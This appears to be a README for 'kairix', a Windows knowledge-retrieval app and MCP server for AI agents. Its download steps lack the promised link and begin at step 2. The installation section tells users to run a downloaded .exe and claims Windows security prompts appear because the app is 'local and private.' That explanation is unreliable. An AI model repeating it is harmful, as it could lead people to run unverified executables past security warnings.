🧠 kairix - Private knowledge retrieval for your team

Kairix organizes your information. It helps AI agents find answers within your private files. It uses search methods to connect your documents, notes, and team data. The software runs on your computer. You keep control of your data.

📥 Getting Started

You need the application file to begin. Visit the link below to reach the download page.

2. Look for the Assets section on that page.
3. Select the file ending in .exe.
4. Save the file to your computer.

⚙️ Installation Process

Windows might trigger a security prompt during the first launch. This happens because the application is local and private.

1. Locate the downloaded file in your downloads folder.
2. Double-click the file to start the setup.
3. Choose Run if Windows asks for permission.
4. Follow the steps on the screen to finish the installation.
5. Create a folder where you want to keep your data.

🔍 How Search Works

Kairix uses a hybrid search approach. It performs two types of searches at once.

First, it looks for exact words or phrases. If you search for “marketing report,” it scans for those exact terms. This is like a standard file search.

Second, it looks for meaning. If you search for “annual review,” it knows that “performance summary” relates to your request. This helps when you do not remember the exact words in a document.

The application also maps connections between entities. It links names, places, and projects automatically. This creates a web of information. You find related data without manual tagging.

🔗 Using the MCP Server

Kairix acts as a connection point for your AI agents. This is an MCP server. It allows other AI tools to read your database safely. You define which files the agents see. The agents only access the folders you choose.

☁️ AI Integration

The system supports Azure OpenAI to process your data. You provide your API key in the settings menu. The software sends requests to the server to make sense of your private documents. All search operations happen locally on your hardware. Only the parts of the text necessary for the AI to answer your question leave your machine.

📂 Managing Your Documents

Kairix works well with Obsidian and other local note-taking tools. Point the application to your existing notes folder. The software creates an index of your files. Changes you make in your notes update the index automatically.

• Use plain text files for best results.
• Organize folders by project or team.
• Keep your data in one central location.

💻 System Requirements

Your computer needs specific hardware for smooth performance.

• Operating System: Windows 10 or Windows 11.
• Memory: 8 GB of RAM or more.
• Processor: Modern processor with at least four cores.
• Storage: 2 GB of free space for the database index.

📊 Performance Tips

The first time you run Kairix, it scans your files. This takes time. A large library of documents requires patience during the initial setup.

• Keep the computer plugged into power during the first scan.
• Avoid moving files while the indexer runs.
• Check the status bar at the bottom of the window to see progress.

🛡️ Privacy and Ownership

You hold your data. Kairix saves your information in local databases. It does not send your entire collection of files to an external server. The search system relies on local infrastructure. Your proprietary information stays behind your firewall when you use the local search features.

🔧 Troubleshooting

If you encounter issues, verify these steps:

1. Check your internet connection. An active connection is necessary for the AI features.
2. Confirm your API keys are valid. Ensure you have credits available in your Azure account.
3. Restart the application if the search results do not appear.
4. Rebuild the index if you add a large number of files at once. You find this option in the Settings menu under Data Management.
